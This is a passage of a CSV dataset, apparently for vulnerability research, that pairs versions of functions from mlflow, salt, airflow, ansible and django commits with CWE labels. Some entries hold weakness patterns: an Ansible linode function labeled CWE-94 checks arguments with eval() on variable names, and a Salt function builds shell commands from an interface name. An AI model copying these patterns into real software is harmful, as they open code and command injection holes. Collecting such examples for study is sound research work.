        assert assessment.string_value == expected_assessment.string_value
        assert assessment.metadata == expected_assessment.metadata
        assert assessment.source == expected_assessment.source

    # Verify that the first evaluation contains the second assessment logged to the first evaluation
    run_id = run.info.run_id
    retrieved_evaluation_1 = get_evaluation(
        evaluation_id=logged_evaluation_1.evaluation_id, run_id=run_id
    )
    assert len(retrieved_evaluation_1.assessments) == 1
    retrieved_assessment_1 = retrieved_evaluation_1.assessments[0]
    assert_assessments_equal(
        retrieved_assessment_1,
        updated_assessment_1._to_entity(evaluation_id=logged_evaluation_1.evaluation_id),
    )

    # Verify that the second evaluation contains the first (and only) assessment logged to the
    # second evaluation
    run_id = run.info.run_id
    retrieved_evaluation_2 = get_evaluation(
        evaluation_id=logged_evaluation_2.evaluation_id, run_id=run_id
    )
    assert len(retrieved_evaluation_2.assessments) == 1
    retrieved_assessment_2 = retrieved_evaluation_2.assessments[0]
    assert_assessments_equal(
        retrieved_assessment_2,
        assessment_2._to_entity(evaluation_id=logged_evaluation_2.evaluation_id),
    )",CWE-703,mlflow/mlflow,ecb7e6b3ead61ac34d2e5df4cd3fcf529360ad18,"def test_log_assessments_with_same_name_and_source():
    inputs_1 = {""feature1"": 1.0, ""feature2"": 2.0}
    outputs_1 = {""prediction"": 0.5}
    inputs_2 = {""feature1"": 3.0, ""feature2"": 4.0}
    outputs_2 = {""prediction"": 0.7}

    assessment_1 = Assessment(
        name=""relevance"",
        value=0.9,
        source=AssessmentSource(source_type=AssessmentSourceType.HUMAN, source_id=""user_1"")
    )

    assessment_2 = Assessment(
        name=""relevance"",
        value=0.8,
        source=AssessmentSource(source_type=AssessmentSourceType.AI_JUDGE, source_id=""judge_1"")
    )

    updated_assessment_1 = Assessment(
        name=""relevance"",
        value=0.94,
        source=AssessmentSource(source_type=AssessmentSourceType.HUMAN, source_id=""user_1"")
    )

    with mlflow.start_run() as run:
        # Log the first evaluation and the first assessment
        logged_evaluation_1 = log_evaluation(inputs=inputs_1, outputs=outputs_1)
        log_assessments(evaluation_id=logged_evaluation_1.evaluation_id, assessments=[assessment_1])

        # Log the second evaluation and the second assessment
        logged_evaluation_2 = log_evaluation(inputs=inputs_2, outputs=outputs_2)
        log_assessments(evaluation_id=logged_evaluation_2.evaluation_id, assessments=[assessment_2])

        # Log the updated first assessment to the first evaluation
        log_assessments(evaluation_id=logged_evaluation_1.evaluation_id, assessments=[updated_assessment_1])

    def assert_assessments_equal(assessment, expected_assessment):
        assert assessment.name == expected_assessment.name
        assert assessment.boolean_value == expected_assessment.boolean_value
        assert assessment.numeric_value == expected_assessment.numeric_value
        assert assessment.string_value == expected_assessment.string_value
        assert assessment.metadata == expected_assessment.metadata
        assert assessment.source == expected_assessment.source

    # Verify that the first evaluation contains the second assessment logged to the first evaluation
    run_id = run.info.run_id
    retrieved_evaluation_1 = get_evaluation(evaluation_id=logged_evaluation_1.evaluation_id, run_id=run_id)
    assert len(retrieved_evaluation_1.assessments) == 1
    retrieved_assessment_1 = retrieved_evaluation_1.assessments[0]
    assert_assessments_equal(
        retrieved_assessment_1,
        updated_assessment_1._to_entity(evaluation_id=logged_evaluation_1.evaluation_id),
    )

    # Verify that the second evaluation contains the first (and only) assessment logged to the
    # second evaluation
    run_id = run.info.run_id
    retrieved_evaluation_2 = get_evaluation(evaluation_id=logged_evaluation_2.evaluation_id, run_id=run_id)
    assert len(retrieved_evaluation_2.assessments) == 1
    retrieved_assessment_2 = retrieved_evaluation_2.assessments[0]
    assert_assessments_equal(
        retrieved_assessment_2,
        assessment_2._to_entity(evaluation_id=logged_evaluation_2.evaluation_id),
    )"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/rh_ip.py,0,"def build_bond(iface, settings):
    '''
    Create a bond script in /etc/modprobe.d with the passed settings
    and load the bonding kernel module.

    CLI Example::

        salt '*' ip.build_bond bond0 mode=balance-alb
    '''
    rh_major = __grains__['osrelease'][:1]

    opts = _parse_settings_bond(settings, iface)
    try:
        template = ENV.get_template('conf.jinja')
    except jinja2.exceptions.TemplateNotFound:
        log.error('Could not load template conf.jinja')
        return ''
    data = template.render({'name': iface, 'bonding': opts})
    _write_file_iface(iface, data, _RH_NETWORK_CONF_FILES, '{0}.conf')
    path = os.path.join(_RH_NETWORK_CONF_FILES, '{0}.conf'.format(iface))
    if rh_major == '5':
        __salt__['cmd.run'](
            'sed -i -e ""/^alias\\s{0}.*/d"" /etc/modprobe.conf'.format(iface)
        )
        __salt__['cmd.run'](
            'sed -i -e ""/^options\\s{0}.*/d"" /etc/modprobe.conf'.format(iface)
        )
        __salt__['cmd.run']('cat {0} >> /etc/modprobe.conf'.format(path))
    __salt__['kmod.load']('bonding')

    if settings['test']:
        return _read_temp(data)

    return _read_file(path)",,saltstack/salt,05d4c31c0d2cf5378a49bdc02a276eb43fe093f7,"def build_bond(iface, settings):
    '''
    Create a bond script in /etc/modprobe.d with the passed settings
    and load the bonding kernel module.

    CLI Example::

        salt '*' ip.build_bond bond0 mode=balance-alb
    '''
    rh_major = __grains__['osrelease'][:1]

    opts = _parse_settings_bond(settings, iface)
    try:
        template = ENV.get_template('conf.jinja')
    except jinja2.exceptions.TemplateNotFound:
        log.error('Could not load template conf.jinja')
        return ''
    data = template.render({'name': iface, 'bonding': opts})
    _write_file_iface(iface, data, _RH_NETWORK_CONF_FILES, '{0}.conf')
    path = os.path.join(_RH_NETWORK_CONF_FILES, '{0}.conf'.format(iface))
    if rh_major == '5':
        __salt__['cmd.run'](
            'sed -i -e ""/^alias\s{0}.*/d"" /etc/modprobe.conf'.format(iface)
        )
        __salt__['cmd.run'](
            'sed -i -e ""/^options\s{0}.*/d"" /etc/modprobe.conf'.format(iface)
        )
        __salt__['cmd.run']('cat {0} >> /etc/modprobe.conf'.format(path))
    __salt__['kmod.load']('bonding')

    if settings['test']:
        return _read_temp(data)

    return _read_file(path)"
,UNKNOWN,UNKNOWN,providers/tests/google/cloud/log/test_stackdriver_task_handler.py,1,"def test_should_read_logs_for_all_try(self, mock_client, mock_get_creds_and_project_id):
        mock_client.return_value.list_log_entries.return_value.pages = iter(
            [_create_list_log_entries_response_mock([""MSG1"", ""MSG2""], None)]
        )
        mock_get_creds_and_project_id.return_value = (""creds"", ""project_id"")

        stackdriver_task_handler = self._setup_handler()
        logs, metadata = stackdriver_task_handler.read(self.ti)

        date_label = ""logical_date"" if AIRFLOW_V_3_0_PLUS else ""execution_date""

        filter_str = (
            'resource.type=""global""\n'
            'logName=""projects/project_id/logs/airflow""\n'
            'labels.task_id=""task_for_testing_stackdriver_task_handler""\n'
            'labels.dag_id=""dag_for_testing_stackdriver_file_task_handler""\n'
            f'labels.{date_label}=""2016-01-01T00:00:00+00:00""'
        )
        mock_client.return_value.list_log_entries.assert_called_once_with(
            request=ListLogEntriesRequest(
                resource_names=[""projects/project_id""],
                filter=filter_str,
                order_by=""timestamp asc"",
                page_size=1000,
                page_token=None,
            )
        )
        assert logs == [((""default-hostname"", ""MSG1\nMSG2""),)]
        assert metadata == [{""end_of_log"": True}]",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_should_read_logs_for_all_try(self, mock_client, mock_get_creds_and_project_id):
        mock_client.return_value.list_log_entries.return_value.pages = iter(
            [_create_list_log_entries_response_mock([""MSG1"", ""MSG2""], None)]
        )
        mock_get_creds_and_project_id.return_value = (""creds"", ""project_id"")

        stackdriver_task_handler = self._setup_handler()
        logs, metadata = stackdriver_task_handler.read(self.ti)

        date_label = ""logical_date"" if AIRFLOW_V_3_0_PLUS else ""execution_date""

        filter_str = (
            'resource.type=""global""\n'
            'logName=""projects/project_id/logs/airflow""\n'
            'labels.task_id=""task_for_testing_stackdriver_task_handler""\n'
            'labels.dag_id=""dag_for_testing_stackdriver_file_task_handler""\n'
            f'labels.{date_label}=""2016-01-01T00:00:00+00:00""'
        )
        mock_client.return_value.list_log_entries.assert_called_once_with(
            request=ListLogEntriesRequest(
                resource_names=[""projects/project_id""],
                filter=filter_str,
                order_by=""timestamp asc"",
                page_size=1000,
                page_token=None,
            )
        )
        assert [((""default-hostname"", ""MSG1\nMSG2""),)] == logs
        assert [{""end_of_log"": True}] == metadata"
,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/linode/linode.py,1,"def linodeServers(module, api, state, name, plan, distribution, datacenter, linode_id, 
                  payment_term, password, ssh_pub_key, swap, wait, wait_timeout):
    instances = []
    changed = False
    new_server = False   
    servers = []
    disks = []
    configs = []
    jobs = []

    # See if we can match an existing server details with the provided linode_id
    if linode_id:
        # For the moment we only consider linode_id as criteria for match
        # Later we can use more (size, name, etc.) and update existing
        servers = api.linode_list(LinodeId=linode_id)
        # Attempt to fetch details about disks and configs only if servers are 
        # found with linode_id
        if servers:
            disks = api.linode_disk_list(LinodeId=linode_id)
            configs = api.linode_config_list(LinodeId=linode_id)

    # Act on the state
    if state in ('active', 'present', 'started'):
        # TODO: validate all the plan / distribution / datacenter are valid

        # Multi step process/validation:
        #  - need linode_id (entity)
        #  - need disk_id for linode_id - create disk from distrib
        #  - need config_id for linode_id - create config (need kernel)
        
        # Any create step triggers a job that need to be waited for.
        if not servers:
            for arg in (name, plan, distribution, datacenter):
                if not arg:
                    module.fail_json(msg='%s is required for active state' % arg)
            # Create linode entity
            new_server = True
            try:
                res = api.linode_create(DatacenterID=datacenter, PlanID=plan, 
                                        PaymentTerm=payment_term)
                linode_id = res['LinodeID']
                # Update linode Label to match name
                api.linode_update(LinodeId=linode_id, Label='%s_%s' % (linode_id, name))
                # Save server
                servers = api.linode_list(LinodeId=linode_id)
            except Exception as e:
                module.fail_json(msg = '%s' % e.value[0]['ERRORMESSAGE'])

        if not disks:
            for arg in (name, linode_id, distribution):
                if not arg:
                    module.fail_json(msg='%s is required for active state' % arg)
            # Create disks (1 from distrib, 1 for SWAP)
            new_server = True
            try:
                if not password:
                    # Password is required on creation, if not provided generate one
                    password = randompass()
                if not swap:
                    swap = 512
                # Create data disk
                size = servers[0]['TOTALHD'] - swap
                if ssh_pub_key:
                    res = api.linode_disk_createfromdistribution(
                              LinodeId=linode_id, DistributionID=distribution, 
                              rootPass=password, rootSSHKey=ssh_pub_key,
                              Label='%s data disk (lid: %s)' % (name, linode_id), Size=size)
                else:
                    res = api.linode_disk_createfromdistribution(
                              LinodeId=linode_id, DistributionID=distribution, rootPass=password, 
                              Label='%s data disk (lid: %s)' % (name, linode_id), Size=size)
                jobs.append(res['JobID'])
                # Create SWAP disk
                res = api.linode_disk_create(LinodeId=linode_id, Type='swap', 
                                             Label='%s swap disk (lid: %s)' % (name, linode_id), 
                                             Size=swap)
                jobs.append(res['JobID'])
            except Exception as e:
                # TODO: destroy linode ?
                module.fail_json(msg = '%s' % e.value[0]['ERRORMESSAGE'])

        if not configs:
            for arg in (name, linode_id, distribution):
                if not arg:
                    module.fail_json(msg='%s is required for active state' % arg)

            # Check architecture
            for distrib in api.avail_distributions():
                if distrib['DISTRIBUTIONID'] != distribution:
                    continue
                arch = '32'
                if distrib['IS64BIT']:
                    arch = '64'
                break

            # Get latest kernel matching arch
            for kernel in api.avail_kernels():
                if not kernel['LABEL'].startswith('Latest %s' % arch):
                    continue
                kernel_id = kernel['KERNELID']
                break

            # Get disk list
            disks_id = []
            for disk in api.linode_disk_list(LinodeId=linode_id):
                if disk['TYPE'] == 'ext3':
                    disks_id.insert(0, str(disk['DISKID']))
                    continue
                disks_id.append(str(disk['DISKID']))
            # Trick to get the 9 items in the list
            while len(disks_id) < 9:
                disks_id.append('')
            disks_list = ','.join(disks_id)

            # Create config
            new_server = True
            try:
                api.linode_config_create(LinodeId=linode_id, KernelId=kernel_id,
                                         Disklist=disks_list, Label='%s config' % name)
                configs = api.linode_config_list(LinodeId=linode_id)
            except Exception as e:
                module.fail_json(msg = '%s' % e.value[0]['ERRORMESSAGE'])

        # Start / Ensure servers are running
        for server in servers:
            # Refresh server state
            server = api.linode_list(LinodeId=server['LINODEID'])[0]
            # Ensure existing servers are up and running, boot if necessary
            if server['STATUS'] != 1:
                res = api.linode_boot(LinodeId=linode_id)
                jobs.append(res['JobID'])
                changed = True

            # wait here until the instances are up
            wait_timeout = time.time() + wait_timeout
            while wait and wait_timeout > time.time():
                # refresh the server details
                server = api.linode_list(LinodeId=server['LINODEID'])[0]
                # status:
                #  -2: Boot failed
                #  1: Running
                if server['STATUS'] in (-2, 1):
                    break
                time.sleep(5)
            if wait and wait_timeout <= time.time():
                # waiting took too long
                module.fail_json(msg = 'Timeout waiting on %s (lid: %s)' % 
                                 (server['LABEL'], server['LINODEID']))
            # Get a fresh copy of the server details
            server = api.linode_list(LinodeId=server['LINODEID'])[0]
            if server['STATUS'] == -2:
                module.fail_json(msg = '%s (lid: %s) failed to boot' % 
                                 (server['LABEL'], server['LINODEID']))
            # From now on we know the task is a success
            # Build instance report
            instance = getInstanceDetails(api, server)
            # depending on wait flag select the status
            if wait:
                instance['status'] = 'Running'
            else:
                instance['status'] = 'Starting'

            # Return the root password if this is a new box and no SSH key 
            # has been provided
            if new_server and not ssh_pub_key:
                instance['password'] = password
            instances.append(instance)

    elif state in ('stopped'):
        for arg in (name, linode_id):
            if not arg:
                module.fail_json(msg='%s is required for active state' % arg)

        if not servers:
            module.fail_json(msg = 'Server %s (lid: %s) not found' % (name, linode_id))

        for server in servers:
            instance = getInstanceDetails(api, server)
            if server['STATUS'] != 2:
                try:
                    res = api.linode_shutdown(LinodeId=linode_id)
                except Exception as e:
                    module.fail_json(msg = '%s' % e.value[0]['ERRORMESSAGE'])
                instance['status'] = 'Stopping'
                changed = True
            else:
                instance['status'] = 'Stopped'
            instances.append(instance)

    elif state in ('restarted'):
        for arg in (name, linode_id):
            if not arg:
                module.fail_json(msg='%s is required for active state' % arg)

        if not servers:
            module.fail_json(msg = 'Server %s (lid: %s) not found' % (name, linode_id))

        for server in servers:
            instance = getInstanceDetails(api, server)
            try:
                res = api.linode_reboot(LinodeId=server['LINODEID'])
            except Exception as e:
                module.fail_json(msg = '%s' % e.value[0]['ERRORMESSAGE'])
            instance['status'] = 'Restarting'
            changed = True
            instances.append(instance)
            
    elif state in ('absent', 'deleted'):
        for server in servers:
            instance = getInstanceDetails(api, server)
            try:
                api.linode_delete(LinodeId=server['LINODEID'], skipChecks=True)
            except Exception as e:
                module.fail_json(msg = '%s' % e.value[0]['ERRORMESSAGE'])
            instance['status'] = 'Deleting'
            changed = True
            instances.append(instance)

    # Ease parsing if only 1 instance
    if len(instances) == 1:
        module.exit_json(changed=changed, instance=instances[0])
    module.exit_json(changed=changed, instances=instances)",CWE-94,ansible/ansible,22c9428776b10ff060fcb8c115c9ed1fe14d938b,"def linodeServers(module, api, state, name, plan, distribution, datacenter, linode_id, 
                  payment_term, password, ssh_pub_key, swap, wait, wait_timeout):
    instances = []
    changed = False
    new_server = False   
    servers = []
    disks = []
    configs = []
    jobs = []

    # See if we can match an existing server details with the provided linode_id
    if linode_id:
        # For the moment we only consider linode_id as criteria for match
        # Later we can use more (size, name, etc.) and update existing
        servers = api.linode_list(LinodeId=linode_id)
        # Attempt to fetch details about disks and configs only if servers are 
        # found with linode_id
        if servers:
            disks = api.linode_disk_list(LinodeId=linode_id)
            configs = api.linode_config_list(LinodeId=linode_id)

    # Act on the state
    if state in ('active', 'present', 'started'):
        # TODO: validate all the plan / distribution / datacenter are valid

        # Multi step process/validation:
        #  - need linode_id (entity)
        #  - need disk_id for linode_id - create disk from distrib
        #  - need config_id for linode_id - create config (need kernel)
        
        # Any create step triggers a job that need to be waited for.
        if not servers:
            for arg in ('name', 'plan', 'distribution', 'datacenter'):
                if not eval(arg):
                    module.fail_json(msg='%s is required for active state' % arg)
            # Create linode entity
            new_server = True
            try:
                res = api.linode_create(DatacenterID=datacenter, PlanID=plan, 
                                        PaymentTerm=payment_term)
                linode_id = res['LinodeID']
                # Update linode Label to match name
                api.linode_update(LinodeId=linode_id, Label='%s_%s' % (linode_id, name))
                # Save server
                servers = api.linode_list(LinodeId=linode_id)
            except Exception as e:
                module.fail_json(msg = '%s' % e.value[0]['ERRORMESSAGE'])

        if not disks:
            for arg in ('name', 'linode_id', 'distribution'):
                if not eval(arg):
                    module.fail_json(msg='%s is required for active state' % arg)
            # Create disks (1 from distrib, 1 for SWAP)
            new_server = True
            try:
                if not password:
                    # Password is required on creation, if not provided generate one
                    password = randompass()
                if not swap:
                    swap = 512
                # Create data disk
                size = servers[0]['TOTALHD'] - swap
                if ssh_pub_key:
                    res = api.linode_disk_createfromdistribution(
                              LinodeId=linode_id, DistributionID=distribution, 
                              rootPass=password, rootSSHKey=ssh_pub_key,
                              Label='%s data disk (lid: %s)' % (name, linode_id), Size=size)
                else:
                    res = api.linode_disk_createfromdistribution(
                              LinodeId=linode_id, DistributionID=distribution, rootPass=password, 
                              Label='%s data disk (lid: %s)' % (name, linode_id), Size=size)
                jobs.append(res['JobID'])
                # Create SWAP disk
                res = api.linode_disk_create(LinodeId=linode_id, Type='swap', 
                                             Label='%s swap disk (lid: %s)' % (name, linode_id), 
                                             Size=swap)
                jobs.append(res['JobID'])
            except Exception as e:
                # TODO: destroy linode ?
                module.fail_json(msg = '%s' % e.value[0]['ERRORMESSAGE'])

        if not configs:
            for arg in ('name', 'linode_id', 'distribution'):
                if not eval(arg):
                    module.fail_json(msg='%s is required for active state' % arg)

            # Check architecture
            for distrib in api.avail_distributions():
                if distrib['DISTRIBUTIONID'] != distribution:
                    continue
                arch = '32'
                if distrib['IS64BIT']:
                    arch = '64'
                break

            # Get latest kernel matching arch
            for kernel in api.avail_kernels():
                if not kernel['LABEL'].startswith('Latest %s' % arch):
                    continue
                kernel_id = kernel['KERNELID']
                break

            # Get disk list
            disks_id = []
            for disk in api.linode_disk_list(LinodeId=linode_id):
                if disk['TYPE'] == 'ext3':
                    disks_id.insert(0, str(disk['DISKID']))
                    continue
                disks_id.append(str(disk['DISKID']))
            # Trick to get the 9 items in the list
            while len(disks_id) < 9:
                disks_id.append('')
            disks_list = ','.join(disks_id)

            # Create config
            new_server = True
            try:
                api.linode_config_create(LinodeId=linode_id, KernelId=kernel_id,
                                         Disklist=disks_list, Label='%s config' % name)
                configs = api.linode_config_list(LinodeId=linode_id)
            except Exception as e:
                module.fail_json(msg = '%s' % e.value[0]['ERRORMESSAGE'])

        # Start / Ensure servers are running
        for server in servers:
            # Refresh server state
            server = api.linode_list(LinodeId=server['LINODEID'])[0]
            # Ensure existing servers are up and running, boot if necessary
            if server['STATUS'] != 1:
                res = api.linode_boot(LinodeId=linode_id)
                jobs.append(res['JobID'])
                changed = True

            # wait here until the instances are up
            wait_timeout = time.time() + wait_timeout
            while wait and wait_timeout > time.time():
                # refresh the server details
                server = api.linode_list(LinodeId=server['LINODEID'])[0]
                # status:
                #  -2: Boot failed
                #  1: Running
                if server['STATUS'] in (-2, 1):
                    break
                time.sleep(5)
            if wait and wait_timeout <= time.time():
                # waiting took too long
                module.fail_json(msg = 'Timeout waiting on %s (lid: %s)' % 
                                 (server['LABEL'], server['LINODEID']))
            # Get a fresh copy of the server details
            server = api.linode_list(LinodeId=server['LINODEID'])[0]
            if server['STATUS'] == -2:
                module.fail_json(msg = '%s (lid: %s) failed to boot' % 
                                 (server['LABEL'], server['LINODEID']))
            # From now on we know the task is a success
            # Build instance report
            instance = getInstanceDetails(api, server)
            # depending on wait flag select the status
            if wait:
                instance['status'] = 'Running'
            else:
                instance['status'] = 'Starting'

            # Return the root password if this is a new box and no SSH key 
            # has been provided
            if new_server and not ssh_pub_key:
                instance['password'] = password
            instances.append(instance)

    elif state in ('stopped'):
        for arg in ('name', 'linode_id'):
            if not eval(arg):
                module.fail_json(msg='%s is required for active state' % arg)

        if not servers:
            module.fail_json(msg = 'Server %s (lid: %s) not found' % (name, linode_id))

        for server in servers:
            instance = getInstanceDetails(api, server)
            if server['STATUS'] != 2:
                try:
                    res = api.linode_shutdown(LinodeId=linode_id)
                except Exception as e:
                    module.fail_json(msg = '%s' % e.value[0]['ERRORMESSAGE'])
                instance['status'] = 'Stopping'
                changed = True
            else:
                instance['status'] = 'Stopped'
            instances.append(instance)

    elif state in ('restarted'):
        for arg in ('name', 'linode_id'):
            if not eval(arg):
                module.fail_json(msg='%s is required for active state' % arg)

        if not servers:
            module.fail_json(msg = 'Server %s (lid: %s) not found' % (name, linode_id))

        for server in servers:
            instance = getInstanceDetails(api, server)
            try:
                res = api.linode_reboot(LinodeId=server['LINODEID'])
            except Exception as e:
                module.fail_json(msg = '%s' % e.value[0]['ERRORMESSAGE'])
            instance['status'] = 'Restarting'
            changed = True
            instances.append(instance)
            
    elif state in ('absent', 'deleted'):
        for server in servers:
            instance = getInstanceDetails(api, server)
            try:
                api.linode_delete(LinodeId=server['LINODEID'], skipChecks=True)
            except Exception as e:
                module.fail_json(msg = '%s' % e.value[0]['ERRORMESSAGE'])
            instance['status'] = 'Deleting'
            changed = True
            instances.append(instance)

    # Ease parsing if only 1 instance
    if len(instances) == 1:
        module.exit_json(changed=changed, instance=instances[0])
    module.exit_json(changed=changed, instances=instances)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/tracking/rest_store.py,0,"def list_experiments(
        self,
        view_type=ViewType.ACTIVE_ONLY,
        max_results=None,
        page_token=None,
    ):
        """"""
        :param view_type: Qualify requested type of experiments.
        :param max_results: If passed, specifies the maximum number of experiments desired. If not
                            passed, the server will pick a maximum number of results to return.
        :param page_token: Token specifying the next page of results. It should be obtained from
                            a ``list_experiments`` call.
        :return: A :py:class:`PagedList <mlflow.store.entities.PagedList>` of
                 :py:class:`Experiment <mlflow.entities.Experiment>` objects. The pagination token
                 for the next page can be obtained via the ``token`` attribute of the object.
        """"""
        req_body = message_to_json(
            ListExperiments(view_type=view_type, max_results=max_results, page_token=page_token)
        )
        response_proto = self._call_endpoint(ListExperiments, req_body)
        experiments = [Experiment.from_proto(x) for x in response_proto.experiments]
        # If the response doesn't contain `next_page_token`, `response_proto.next_page_token`
        # returns an empty string (default value for a string proto field).
        token = (
            response_proto.next_page_token if response_proto.HasField(""next_page_token"") else None
        )
        return PagedList(experiments, token)",,mlflow/mlflow,26748f8908185dd8e52dc20e746c123652c277ed,"def list_experiments(
        self,
        view_type=ViewType.ACTIVE_ONLY,
        max_results=None,
        page_token=None,
    ):
        """"""
        :param view_type: Qualify requested type of experiments.
        :param max_results: If passed, specifies the maximum number of experiments desired. If not
                            passed, the server will pick a maximum number of results to return.
        :param page_token: Token specifying the next page of results. It should be obtained from
                            a ``list_experiments`` call.
        :return: A :py:class:`PagedList <mlflow.store.entities.PagedList>` of
                 :py:class:`Experiment <mlflow.entities.Experiment>` objects. The pagination token
                 for the next page can be obtained via the ``token`` attribute of the object.
        """"""
        req_body = message_to_json(
            ListExperiments(view_type=view_type, max_results=max_results, page_token=page_token)
        )
        response_proto = self._call_endpoint(ListExperiments, req_body)
        experiments = [Experiment.from_proto(x) for x in response_proto.experiments]
        # If the response doesn't contain `next_page_token`, `response_proto.next_page_token`
        # returns an empty string (default value for a string proto field).
        token = (
            response_proto.next_page_token if response_proto.HasField(""next_page_token"") else None
        )
        return PagedList(experiments, token)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/utils/autologging_utils/__init__.py,0,"def wrapper(_autolog):
        param_spec = inspect.signature(_autolog).parameters
        validate_param_spec(param_spec)

        AUTOLOGGING_INTEGRATIONS[name] = {}
        default_params = {param.name: param.default for param in param_spec.values()}

        def autolog(*args, **kwargs):
            config_to_store = dict(default_params)
            config_to_store.update(
                {param.name: arg for arg, param in zip(args, param_spec.values())}
            )
            config_to_store.update(kwargs)
            AUTOLOGGING_INTEGRATIONS[name] = config_to_store

            try:
                # Pass `autolog()` arguments to `log_autolog_called` in keyword format to enable
                # event loggers to more easily identify important configuration parameters
                # (e.g., `disable`) without examining positional arguments. Passing positional
                # arguments to `log_autolog_called` is deprecated in MLflow > 1.13.1
                AutologgingEventLogger.get_logger().log_autolog_called(name, (), config_to_store)
            except Exception:
                pass

            revert_patches(name)

            # If disabling autologging using fluent api, then every active integration's autolog
            # needs to be called with disable=True. So do not short circuit and let
            # `mlflow.autolog()` invoke all active integrations with disable=True.
            if name != ""mlflow"" and get_autologging_config(name, ""disable"", True):
                return

            is_silent_mode = get_autologging_config(name, ""silent"", False)
            # Reroute non-MLflow warnings encountered during autologging enablement to an
            # MLflow event logger, and enforce silent mode if applicable (i.e. if the corresponding
            # autologging integration was called with `silent=True`)
            with set_mlflow_events_and_warnings_behavior_globally(
                # MLflow warnings emitted during autologging setup / enablement are likely
                # actionable and relevant to the user, so they should be emitted as normal
                # when `silent=False`. For reference, see recommended warning and event logging
                # behaviors from https://docs.python.org/3/howto/logging.html#when-to-use-logging
                reroute_warnings=False,
                disable_event_logs=is_silent_mode,
                disable_warnings=is_silent_mode,
            ), set_non_mlflow_warnings_behavior_for_current_thread(
                # non-MLflow warnings emitted during autologging setup / enablement are not
                # actionable for the user, as they are a byproduct of the autologging
                # implementation. Accordingly, they should be rerouted to `logger.warning()`.
                # For reference, see recommended warning and event logging
                # behaviors from https://docs.python.org/3/howto/logging.html#when-to-use-logging
                reroute_warnings=True,
                disable_warnings=is_silent_mode,
            ):
                _check_and_log_warning_for_unsupported_package_versions(name)

                return _autolog(*args, **kwargs)

        wrapped_autolog = update_wrapper_extended(autolog, _autolog)
        # Set the autologging integration name as a function attribute on the wrapped autologging
        # function, allowing the integration name to be extracted from the function. This is used
        # during the execution of import hooks for `mlflow.autolog()`.
        wrapped_autolog.integration_name = name

        if name in FLAVOR_TO_MODULE_NAME_AND_VERSION_INFO_KEY:
            wrapped_autolog.__doc__ = gen_autologging_package_version_requirements_doc(name) + (
                wrapped_autolog.__doc__ or """"
            )
        return wrapped_autolog",,mlflow/mlflow,14c166426007e1fd8062d5fe7e8dc321b8d229a8,"def wrapper(_autolog):
        param_spec = inspect.signature(_autolog).parameters
        validate_param_spec(param_spec)

        AUTOLOGGING_INTEGRATIONS[name] = {}
        default_params = {param.name: param.default for param in param_spec.values()}

        def autolog(*args, **kwargs):
            config_to_store = dict(default_params)
            config_to_store.update(
                {param.name: arg for arg, param in zip(args, param_spec.values())}
            )
            config_to_store.update(kwargs)
            AUTOLOGGING_INTEGRATIONS[name] = config_to_store

            try:
                # Pass `autolog()` arguments to `log_autolog_called` in keyword format to enable
                # event loggers to more easily identify important configuration parameters
                # (e.g., `disable`) without examining positional arguments. Passing positional
                # arguments to `log_autolog_called` is deprecated in MLflow > 1.13.1
                AutologgingEventLogger.get_logger().log_autolog_called(name, (), config_to_store)
            except Exception:
                pass

            revert_patches(name)

            # If disabling autologging using fluent api, then every active integration's autolog
            # needs to be called with disable=True. So do not short circuit and let
            # `mlflow.autolog()` invoke all active integrations with disable=True.
            if name != ""mlflow"" and get_autologging_config(name, ""disable"", True):
                return

            is_silent_mode = get_autologging_config(name, ""silent"", False)
            # Reroute non-MLflow warnings encountered during autologging enablement to an
            # MLflow event logger, and enforce silent mode if applicable (i.e. if the corresponding
            # autologging integration was called with `silent=True`)
            with set_mlflow_events_and_warnings_behavior_globally(
                # MLflow warnings emitted during autologging setup / enablement are likely
                # actionable and relevant to the user, so they should be emitted as normal
                # when `silent=False`. For reference, see recommended warning and event logging
                # behaviors from https://docs.python.org/3/howto/logging.html#when-to-use-logging
                reroute_warnings=False,
                disable_event_logs=is_silent_mode,
                disable_warnings=is_silent_mode,
            ), set_non_mlflow_warnings_behavior_for_current_thread(
                # non-MLflow warnings emitted during autologging setup / enablement are not
                # actionable for the user, as they are a byproduct of the autologging
                # implementation. Accordingly, they should be rerouted to `logger.warning()`.
                # For reference, see recommended warning and event logging
                # behaviors from https://docs.python.org/3/howto/logging.html#when-to-use-logging
                reroute_warnings=True,
                disable_warnings=is_silent_mode,
            ):
                _check_and_log_warning_for_unsupported_package_versions(name)

                return _autolog(*args, **kwargs)

        wrapped_autolog = update_wrapper_extended(autolog, _autolog)
        # Set the autologging integration name as a function attribute on the wrapped autologging
        # function, allowing the integration name to be extracted from the function. This is used
        # during the execution of import hooks for `mlflow.autolog()`.
        wrapped_autolog.integration_name = name

        if name in FLAVOR_TO_MODULE_NAME_AND_VERSION_INFO_KEY:
            wrapped_autolog.__doc__ = (
                gen_autologging_package_version_requirements_doc(name) + wrapped_autolog.__doc__
            )
        return wrapped_autolog"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/models/sql/query.py,0,"def add_annotation(self, annotation, model, alias, is_summary):
        """"""
        Adds a single annotation expression to the Query
        """"""
        annotation = annotation.resolve_expression(self, allow_joins=True, reuse=None,
                                                   summarize=is_summary)
        self.append_annotation_mask([alias])
        self.annotations[alias] = annotation",CWE-Unknown,django/django,cbb5cdd155668ba771cad6b975676d3b20fed37b,"def add_annotation(self, annotation, model, alias, is_summary):
        """"""
        Adds a single annotation expression to the Query
        """"""
        annotation = annotation.resolve_expression(self, summarize=is_summary)
        self.append_annotation_mask([alias])
        self.annotations[alias] = annotation"
,UNKNOWN,UNKNOWN,tests/store/tracking/test_rest_store.py,1,"def test_requestor(self):
        creds = MlflowHostCreds(""https://hello"")
        store = RestStore(lambda: creds)

        user_name = ""mock user""
        source_name = ""rest test""

        source_name_patch = mock.patch(
            ""mlflow.tracking.context.default_context._get_source_name"", return_value=source_name
        )
        source_type_patch = mock.patch(
            ""mlflow.tracking.context.default_context._get_source_type"",
            return_value=SourceType.LOCAL,
        )
        with mock_http_request() as mock_http, mock.patch(
            ""mlflow.tracking._tracking_service.utils._get_store"", return_value=store
        ), mock.patch(
            ""mlflow.tracking.context.default_context._get_user"", return_value=user_name
        ), mock.patch(
            ""time.time"", return_value=13579
        ), source_name_patch, source_type_patch:
